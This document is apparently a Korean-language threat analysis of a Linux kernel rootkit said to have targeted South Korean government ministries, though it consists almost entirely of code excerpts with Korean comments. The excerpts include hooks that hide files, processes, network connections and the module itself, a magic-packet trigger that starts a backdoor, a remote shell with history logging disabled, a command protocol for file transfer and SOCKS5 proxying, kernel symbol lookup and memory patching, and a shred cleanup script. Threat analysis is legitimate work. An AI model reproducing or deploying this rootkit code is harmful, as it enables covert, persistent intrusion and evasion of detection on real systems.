2025년 8월 행안부·외교부·방첩사 겨냥한 루트킷의 특성 및 분석

#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0) KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned); static int khook_filldir(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) #elif LINUX_VERSION_CODE < KERNEL_VERSION(6, 1, 0) KHOOK_EXT(int, filldir, struct dir_context *, const char *, int, loff_t, u64, unsigned); static int khook_filldir(struct dir_context *nrf_ctx, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) #else KHOOK_EXT(bool, filldir, struct dir_context *, const char *, int, loff_t, u64, unsigned); static bool khook_filldir(struct dir_context *nrf_ctx, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) #endif { if (name != NULL) { if (filename_check(&file_check_head, name) == 1) { return 0; } } #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0) return KHOOK_ORIGIN(filldir, __buf, name, namelen, offset, ino, d_type); #elif LINUX_VERSION_CODE < KERNEL_VERSION(6, 1, 0) return KHOOK_ORIGIN(filldir, nrf_ctx, name, namelen, offset, ino, d_type); #else return KHOOK_ORIGIN(filldir, nrf_ctx, name, namelen, offset, ino, d_type); #endif }

static int khook_proc_filldir(struct dir_context *nrf_ctx, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { char *endp; long pid; struct task_struct *htask; struct task_struct *rtask; pid = simple_strtol(name, &endp, 10); if (pid >= 3) { rcu_read_lock(); htask = pid_task(find_pid_ns(pid, task_active_pid_ns(current)), PIDTYPE_PID); rcu_read_unlock(); if (htask != NULL) { rtask = get_task_parent(htask); if (rtask != NULL && rtask->pid != 1) { if (run_proc_check(&proc_check_head, rtask->pid)) { if (!run_proc_check(&proc_check_head, htask->pid)) { insert_proc_check_list(&proc_check_head, htask->pid); unhide_proc(htask->pid); hide_proc(htask->pid); } } } if (strstr(htask->comm, MAGIC_DRBIN)) { if (!run_proc_check(&proc_check_head, pid)) { insert_proc_check_list(&proc_check_head, pid); unhide_proc(pid); hide_proc(pid); } struct task_struct *t = htask; do { if (!run_proc_check(&proc_check_head, t->pid)) { insert_proc_check_list(&proc_check_head, t->pid); unhide_proc(t->pid); hide_proc(t->pid); break; } t = next_thread(t); } while (t != htask); } if (run_proc_check(&proc_check_head, pid)) { return 0; } } } return real_khook_proc_filldir(nrf_ctx, name, namelen, offset, ino, d_type); }

KHOOK_EXT(int, tcp4_seq_show, struct seq_file *, void *); static int khook_tcp4_seq_show(struct seq_file *seq, void *v) { int ret = 0; struct tcp_iter_state *st; struct inet_request_sock *ireq; struct inet_sock *inet; struct inet_timewait_sock *itw; struct sock *sk = v; ret = KHOOK_ORIGIN(tcp4_seq_show, seq, v); if (!list_empty(&net_check_head)) { struct NetCheck *tl_pos, *tl_n; char port[12]; list_for_each_entry_safe(tl_pos, tl_n, &net_check_head, list) { memset(port, 0, 12); sprintf(port, ":%04X", tl_pos->sport); if (strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ)) { seq->count -= TMPSZ; goto ret; } } } spTrans *spt_pos, *spt_n; if (!list_empty(&sp_trans_head)) { char port[12]; list_for_each_entry_safe(spt_pos, spt_n, &sp_trans_head, list) { memset(port, 0, 12); sprintf(port, ":%04X", spt_pos->listen_port); if (strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ)) { seq->count -= TMPSZ; goto ret; } } } if (v == SEQ_START_TOKEN) goto ret; st = seq->private; switch (st->state) { case TCP_SEQ_STATE_LISTENING: case TCP_SEQ_STATE_ESTABLISHED: if (sk->sk_state == TCP_TIME_WAIT) { itw = inet_twsk(v); list_for_each_entry_safe(spt_pos, spt_n, &sp_trans_head, list) { if ((itw->tw_daddr == spt_pos->in_ip) || (itw->tw_rcv_saddr == spt_pos->in_ip)) { return 0; } else { goto ret; } } } else { inet = inet_sk(v); list_for_each_entry_safe(spt_pos, spt_n, &sp_trans_head, list) { if ((inet->inet_daddr == spt_pos->in_ip) || (inet->inet_rcv_saddr == spt_pos->in_ip)) { return 0; } else goto ret; } } break; } ret: return ret; }

void kv_hide_mod(void) { struct list_head this_list; if (NULL != mod_list) return; this_list = lkmmod.this_mod->list; mod_list = this_list.prev; spin_lock(&hiddenmod_spinlock); this_list.next->prev = this_list.prev; this_list.prev->next = this_list.next; this_list.next = (struct list_head*)LIST_POISON2; this_list.prev = (struct list_head*)LIST_POISON1; spin_unlock(&hiddenmod_spinlock); rmmod_ctrl.attrs = lkmmod.this_mod->sect_attrs; rmmod_ctrl.parent = lkmmod.this_mod->mkobj.kobj.parent; kobject_del(lkmmod.this_mod->holders_dir->parent); lkmmod.this_mod->holders_dir->parent->state_in_sysfs = 1; }

static void mexit(void) { proc_path_exit(); hkcape(); kv_unhide_mod(); if (status == 1) { // printk("unhook\n"); khook_cleanup(); } delete_proc_check_list(&proc_check_head); delete_file_check_list(&file_check_head); delete_net_check_list(&net_check_head); }

#!/bin/bash echo -n emH7pSgHPeu > /proc/acpi/pcicard /sbin/rmmod vmwfxs.ko shred -f -z -u -n 5 /usr/include//tracker-fs/tracker-efs rm -rf /usr/include//tracker-fs/ shred -f -z -u -n 5 /usr/lib64//tracker-fs shred -f -z -u -n 5 /etc/init.d//tracker-fs rm -rf /etc/rc2.d/S55tracker-fs rm -rf /etc/rc3.d/S55tracker-fs rm -rf /etc/rc5.d/S55tracker-fs

uint32_t seq_list[] = { 920587710, 780471713, 825259540, 1647202978, 2431914404, 2463650875, 3662932374, 3369382702, 571692748, 681946156, 829739854, 664490, 3326825048, 1824359561, 2776646994, 1527593018, 237917522, 3854742835, 370845380, 1479512131, 1743018266, 2368020992, 239422864, 2493496176, 2593674284, 1491577105, 1834706857, 2355692017, 853813936, 2375780971, 325837401, 3524959112, 3778896085, 3613846371, 3179126353, 2372256894, 361494256, 3147200590, 948607550, 66127043, 2026018491, 644906849, 3060809144, 1168711225, 3798251206, 1908836686, 2590500766, 1689043407, 1317404664, 2713407592, 281037207, 3531254667, 3635636771, 2381242906, 43372061, 946671249, 3522301673, 3347596171, 2357615851, 3944199838, 476670121, 1652027145, 2954664960, 3582352654, 3548656716, 3573936149, 87244733, 2165479587, 897885455, 1547736954, 1430911806, 2779073281, 1019919374, 1033440766, 1648710950, 2331577315, 798671428, 2301255681, 3536843460, 2012105819, 209396314, 1064735001, 194400939, 280595515, 1023093053, 1168810551, 2374204263, 2256035666, 3781446433, 1001775063, 3705578819, 1640619747, 1135448298, 2630747354, 985173485, 755701479, 2852168481, 661080502, 3912753289, 620167751 }; uint16_t id_list[] = { 10213, 27848, 62837, 60140, 62026, 62242, 20548, 34239, 24818, 19737, 52954, 44293, 13103, 44470, 39357, 53974, 61485, 47901, 19904, 32661, 57419, 30112, 46223, 13809, 45239, 50642, 15805, 65301, 16920, 11255, 45828, 26316, 35785, 40014, 23163, 56702, 15124, 20176, 46360, 61566, 11532, 22780, 39270, 35209, 13695, 49128, 27779, 14764, 57130, 19123 };

int send_response_200(int client, char *body, int body_len) { char response[512] = {0}; char m_Strlen[256]; time_t curTime; struct tm *timeinfo; strcpy(response, "HTTP/1.1 200 OK\r\n"); strcat(response, "Server: Apache/2.2.3\r\n"); time(&curTime); timeinfo = gmtime(&curTime); char tmpbuf[128] = {0}; strftime(tmpbuf, 128, "%a, %d %b %Y %H:%M:%S", timeinfo); sprintf(m_Strlen, "Date: %s GMT\r\n", tmpbuf); strcat(response, m_Strlen); sprintf(m_Strlen, "Content-Length: %d\r\n", body_len); strcat(response, m_Strlen); strcat(response, "Connection: close\r\n"); strcat(response, "Cache-Control: no-cache\r\n"); strcat(response, "\r\n"); encode_decode(body, body_len, Encrypt_KEY, KEY_LEN); memcpy(response + strlen(response), body, body_len); if (send_all(client, response, strlen(response)) < 0) { return -1; } return 1; }

char smtp_welcome[] = "220 example.com SMTP\r\n"; char smtp_ehlo[] = "250-example.com at your service\r\n250-SIZE 157286400\r\n250-STARTTLS\r\n250 SMTPUTF8\r\n"; char smtp_ok[] = "250 Ok\r\n"; char smtp_data[] = "354 send data\r\n"; char smtp_end[] = "250 email was send\r\n"; char smtp_bye[] = "221 Bye...\r\n"; char smtp_tls[] = "220 2.0.0 Ready to start TLS\r\n"; char smtp_e1[] = "250-example.com\r\n250-STARTTLS\r\n250 SMTPUTF8\r\n"; char smtp_tls1[] = "220 Ready to start TLS\r\n"; char smtp_starttls[] = "starttls\r\n"; char smtp_hello[] = "HELO Alice\r\n";

int master_new_shell(struct rsocket rskt, char **argv, char **env, MSG msg){ int client = rootkit_get_socket(rskt); fd_set rd; struct winsize ws; char *slave, *shell; int ret, pid, pty, tty, n; char *envp[] = { "TERM=linux", "HOME=/", "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "HISTFILE=/dev/null", "TMOUT=0", NULL }; char buffer[MAXBUF]; memset(buffer, 0, sizeof(buffer)); if (openpty(&pty, &tty, NULL, NULL, NULL) < 0) return 1; slave = ttyname(tty); if (slave == NULL) return 1; ws.ws_row = msg.ws_row; ws.ws_col = msg.ws_col; ws.ws_xpixel = 0; ws.ws_ypixel = 0; if (ioctl(pty, TIOCSWINSZ, &ws) < 0) { } if ((pid = fork()) < 0) { return 1; } // ...... }

backdoor/20220812 ├─CCC ├─DRV_TIME ├─linux-inject-master └─SSS

void* loop_func(void* arg) { int client = *(int*)arg; int ret,len; ret = pel_server_init(client, secret); if (ret != PEL_SUCCESS) { shutdown(client, SHUT_RDWR); return NULL; } ret = pel_recv_msg(client, message, &len); if (ret != PEL_SUCCESS || len != 1) { shutdown(client, SHUT_RDWR); return NULL; } switch (message[0]) { case GET_FILE: // 0x1 ret = tshd_get_file(client); break; case PUT_FILE: // 0x2 ret = tshd_put_file(client); break; case TRANPORT: // 0x4 if (tran_slave > 0) { shutdown(tran_slave, SHUT_RDWR); close(tran_slave); tran_slave = -1; } ret = tshd_tranport(client); if (tran_slave > 0) { shutdown(tran_slave, SHUT_RDWR); close(tran_slave); tran_slave = -1; } break; case RUNSHELL: // 0x3 if (pid_pty > 0) { kill(pid_pty, SIGKILL); pid_pty = -1; } ret = tshd_runshell(client); if (pid_pty > 0) { kill(pid_pty, SIGKILL); pid_pty = -1; } break; default: ret = 12; break; } shutdown(client, SHUT_RDWR); close(client); }

#define FAKE_BASH_ARGUMENT "/usr/sbin/modem-manager" pid_pty = forkpty(&pty, ptsname, NULL, &ws); if (pid_pty == 0) { execlp("/bin/bash", FAKE_BASH_ARGUMENT, NULL); return (66); }

static struct nf_hook_ops nfho_outgoing = { .hook = netfiler_packet_hook_out, .hooknum = NF_INET_LOCAL_OUT, .pf = NFPROTO_IPV4, .priority = NF_IP_PRI_LAST, #if LINUX_VERSION_CODE < KERNEL_VERSION(4,4,0) .owner = THIS_MODULE #endif }; static struct nf_hook_ops nfho_ingoing = { .hook = netfiler_packet_hook_in, .hooknum = NF_INET_LOCAL_IN, .pf = NFPROTO_IPV4, .priority = NF_IP_PRI_LAST, #if LINUX_VERSION_CODE < KERNEL_VERSION(4,4,0) .owner = THIS_MODULE #endif }; int init_module (void) { #if LINUX_VERSION_CODE <= KERNEL_VERSION(4,12,14) nf_register_hook(&nfho_ingoing); #else nf_register_net_hook(&init_net, &nfho_ingoing ); #endif // Hook to Netfilter #if LINUX_VERSION_CODE <= KERNEL_VERSION(4,12,14) nf_register_hook(&nfho_outgoing); #else nf_register_net_hook(&init_net, &nfho_outgoing ); #endif return 0; }

if(lport ==htons(LOCALPORT) && ntohs(destport) == OOLDPORT) { if(redir_flag) { *destportptr = newport; #if LINUX_VERSION_CODE >= KERNEL_VERSION(3,0,0) inet_proto_csum_replace2(&tcpHeader->check, skb, ntohs(destport), newport, 0); #else tcpHeader->check = rrootkit_ip_nat_cheat_check( destport ^0xFFFF, newport, tcpHeader->check); #endif } }

#define CMD_LOGIN 0x2B11 // 클라이언트 로그인 요청 #define CMD_LOGIN_YES 0x2B21 // 클라리언트 로그인 요청 승인 #define CMD_FILE_UPLOAD 0x3C11 // 파일 업로드 요청 #define CMD_FILE_SIZE 0x3C21 // 업로드 파일 크기 전송 #define CMD_FILE_UPLOAD_YES 0x3C31 // 파일 업로드 승인 #define CMD_FILE_UPLOAD_GO 0x3C41 // 사용되지 않음 #define CMD_FILE_DOWN 0x3C51 // 파일 다운로드 요청 #define CMD_DOWNLOAD_YES 0x4A10 // 파일 다운로드 승인 #define CMD_DOWNLOAD_GO 0x4A20 // 사용되지 않음 #define CMD_SHELL_PTY 0x5A10 // 쉘 생성 요청 #define CMD_SHELL_ENV 0x5A15 // 쉘 환경변수 전송 #define CMD_SHELL_YES 0x5A20 // 쉘 생성 승인 #define CMD_SHELL_DATA 0x5A30 // 쉘 실행 데이터 전송 #define CMD_SOCKS5 0x6D20 // SOCKS5 프록시 생성 요청 #define CMD_SOCKS5_OK 0x6D30 // SOCKS5 프록시 생성 승인 #define CMD_SOCKS5_DATA 0x6D40 // SOCKS5 프록시 데이터 전송 #define CMD_SOCKS5_ERROR 0x6D50 // SOCKS5 에러 전송 #define CMD_PATH_ERR 0xAA20 // 파일 업로드/다운로드 경로 에러 #define CMD_FILE_CREATE_ERR 0xAA30 // 사용되지 않음 #define CMD_CONNECT 0x3E11 // 클라이언트 로그인 인증 정보 전송 #define CMD_CONNECT_OK 0x3E22 // 클라이언트 로그인 인증 성공 #define CMD_DISCONNECT 0x2C11 // 클라이언트 연결 해제 #define CMD_DISCONNECT_OK 0x2E22 // 클라이언트 연결 해제 승인 #define CMD_ERROR 0x7A10 // 클라이언트 로그인 인증 에러

int ssh_hello(mysocks *_sock, struct sockaddr_in *dest_addr, const char *tag_txt) { int ret = 0; int sock_fd; char buffer[1024 + 1]; sock_fd = _sock->socket(); if (sock_fd < 0) { return SK_ERR_socket; } ret = _sock->connect(sock_fd, dest_addr); if (ret < 0) { return SK_ERR_connect; } // off nagle int enable = 1; setsockopt(sock_fd, IPPROTO_TCP, TCP_NODELAY, (char *)&enable, sizeof(enable)); // SSH-2.0-SecureCRT_6.2.0 (build 195) SecureCRT\r\n // "SSH-2.0-OpenSSH_7.4\r\n" memset(buffer, 0, sizeof(buffer)); snprintf(buffer, sizeof(buffer) - 1, "SSH-2.0-OpenSSH_7.4 %s\r\n", tag_txt); int bf_size = strlen(buffer); ret = _sock->send(sock_fd, buffer, bf_size); if (ret < 0) { return SK_ERR_send; } close(sock_fd); return 1; }

if (login_ctx.start == 0 && tcph->psh ) { unsigned int len = datalen > 400 ? 400:datalen; if (memmem(data, len, _START_PASS, strlen(_START_PASS)) != NULL) { login_ctx.control_sport = tcph->source; _newtm = jiffies; reset_ctx(); login_ctx.control_sip = iph->saddr; login_ctx.wport = tcph->dest; sig_out(_kname); _run(); // 백도어 실행 login_ctx.start = 2; debug("pack 1: [%u.%u.%u.%u]:%u-->%u\n", NIPQUAD(iph->saddr), ntohs(tcph->source), ntohs(tcph->dest)); memset(data, 0, datalen); tcph->doff = sizeof(struct tcphdr) / 4; skb_trim(nskb, iph->ihl * 4 + sizeof(struct tcphdr)); iph->tot_len = htons(iph->ihl * 4 + tcph->doff * 4); _skb_rcsum(nskb); return NF_DROP; } }

#define KALLSYMS_PATH "/proc/kallsyms" static void *_find_symbol(const char *func_name, char *_path) { // ..... // 생략 file = filp_open(_path, O_RDONLY, 0); if (!file) return NULL; if (!file->f_op->read) return NULL; while(readline(read_buf, file) ){ if((p = _strstri(read_buf, tmp_symbol_name)) != NULL) { if((*(p+len) != '\n') && (*(p+len) != '\t')) continue; while(*p--) if(*p == '\n') break; i = 0; while((tmp[i++] = (*++ p)) != ' '); tmp[--i] = '\0'; addr = (void*)simple_strtoul(tmp, NULL, 16); break; } } filp_close(file,NULL); set_fs(old_fs); return addr; }

#define KPROBE_LOOKUP 1 #include <linux/kprobes.h> static struct kprobe kp = { .symbol_name = "kallsyms_lookup_name" }; static void *lookup_kallsyms(const char *func_name, char *_path, int search_cnt) { typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); kallsyms_lookup_name_t kallsyms_lookup_name; register_kprobe(&kp); kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; unregister_kprobe(&kp); return (void *)kallsyms_lookup_name(func_name); }

int do_hooking(void) { int i; hook_t *item = NULL; if(strstr(UTS_RELEASE, "xen") == NULL ) { GPF_DISABLE } for (i = 0; i < MAX_INDEX; i++) { item = &_tbl[i]; if (item->name == NULL) continue; debug("--> %s hooking \n", item->name); if (atomic_read(&item->usage) == 1) { if(strstr(UTS_RELEASE, "xen") == NULL ){ /// GPF_DISABLE #if LINUX_VERSION_CODE > KERNEL_VERSION(2, 6, 18) set_page_rw((unsigned long)item->target_map); #endif } else{ set_page_rw((unsigned long)item->target_map); } patch_jump(item->target_map, item->target, item->handler); if(strstr(UTS_RELEASE, "xen") == NULL ){ ///GPF_ENABLE #if LINUX_VERSION_CODE > KERNEL_VERSION(2, 6, 18) set_page_ro((unsigned long)item->target_map); #endif } else{ set_page_ro((unsigned long)item->target_map); } } } if(strstr(UTS_RELEASE, "xen") == NULL ) { GPF_ENABLE } return 0; }

while (offset < ret) { current_dir = (void *)dirent_ker + offset; if((lookup_files(current_dir->d_name) == 1) || (memcmp(_kname, current_dir->d_name, strlen(_kname)) == 0)) { debug("test dir:1111 - %s \n", current_dir->d_name); if ( current_dir == dirent_ker ) { ret -= current_dir->d_reclen; memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); continue; } previous_dir->d_reclen += current_dir->d_reclen; } else { previous_dir = current_dir; } // Get the next dirent offset offset += current_dir->d_reclen; }

struct list_head *mode_prev; static struct list_head *_kobj_prev; struct kobject *kobject_prev; struct kobject *_parent_prev; static int mod_hide = 0; void hide(void) { if (mod_hide == 1) { return; } mode_prev = THIS_MODULE->list.prev; kobject_prev = &THIS_MODULE->mkobj.kobj; _parent_prev = THIS_MODULE->mkobj.kobj.parent; list_del(&THIS_MODULE->list); //procfs view kfree(THIS_MODULE->sect_attrs); THIS_MODULE->sect_attrs = NULL; _kobj_prev = THIS_MODULE->mkobj.kobj.entry.prev; mod_hide = !mod_hide; } void show(void) { if (!mod_hide) return; list_add(&THIS_MODULE->list, mode_prev); mod_hide = !mod_hide; }

if(check_(_sock) == 1) { return 0; } if (_sock->sk_state == TCP_TIME_WAIT) { itw = inet_twsk((struct sock *) v); if ((itw->tw_daddr == login_ctx.control_sip && itw->tw_dport == login_ctx.control_sport) || (itw->tw_rcv_saddr == login_ctx.control_sip && itw->tw_sport == login_ctx.control_sport)) { debug("ip hidden (time_wait) \n"); return 0; } } if (login_ctx.control_sip != 0) { if ((_daddr == login_ctx.control_sip && _dport == login_ctx.control_sport) || (_rcv_saddr == login_ctx.control_sip && _sport == login_ctx.control_sport)) { debug("ip hidden (established) \n"); return 0; } } return ((typeof(_tcp4_seq_show) *)hk->stub_bak)(seq, v);

#if LINUX_VERSION_CODE > KERNEL_VERSION(3,10,0) static int n_filldir( struct dir_context *nrf_ctx, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type ) #elif LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 8) static int n_filldir(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) #endif { char *endp; long pid; struct task_struct *_task; struct task_struct *tsk_parent; pid = simple_strtol(name, &endp, 10); if (pid >= 3) { rcu_read_lock(); #if LINUX_VERSION_CODE >= KERNEL_VERSION(3,10,0) _task = pid_task(find_pid_ns(pid, task_active_pid_ns(current)), PIDTYPE_PID); #elif LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 25) _task = pid_task(find_vpid(pid), PIDTYPE_PID); #elif LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 8) _task = find_task_by_pid(pid); #endif rcu_read_unlock(); if (_task != NULL) { tsk_parent = get_task_parent(_task); if (tsk_parent != NULL && tsk_parent->pid != 1 && tsk_parent->pid == _root && _root != 0) { debug(" 1. pid %ld ppid %ld\n", (long)_task->pid, (long)tsk_parent->pid); if (strstr(_task->comm, "sh") != NULL || strstr(_task->comm, "bash") != NULL) { debug("sh pid %ld ppid %ld\n", (long)_task->pid, (long)tsk_parent->pid); _sh = _task->pid; } return 0; } if (tsk_parent != NULL && tsk_parent->pid != 1 && tsk_parent->pid == _sh && _sh != 0) { debug(" 2. pid %ld ppid %ld\n", (long)_task->pid, (long)tsk_parent->pid); pid_hide(pid); return 0; } #if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 8) if (strstr(_task->comm, _kname) != NULL) #endif { // set pid _root = pid; pid_unhide(pid); pid_hide(pid); debug(" 0. %ld name:%s \n", pid, _task->comm); return 0; } if (is_pid(pid)) { return 0; } } } #if LINUX_VERSION_CODE > KERNEL_VERSION(3,10,0) return ptr_filldir(nrf_ctx, name, namelen, offset, ino, d_type); #elif LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 8) return ptr_filldir(__buf, name, namelen, offset, ino, d_type); #endif }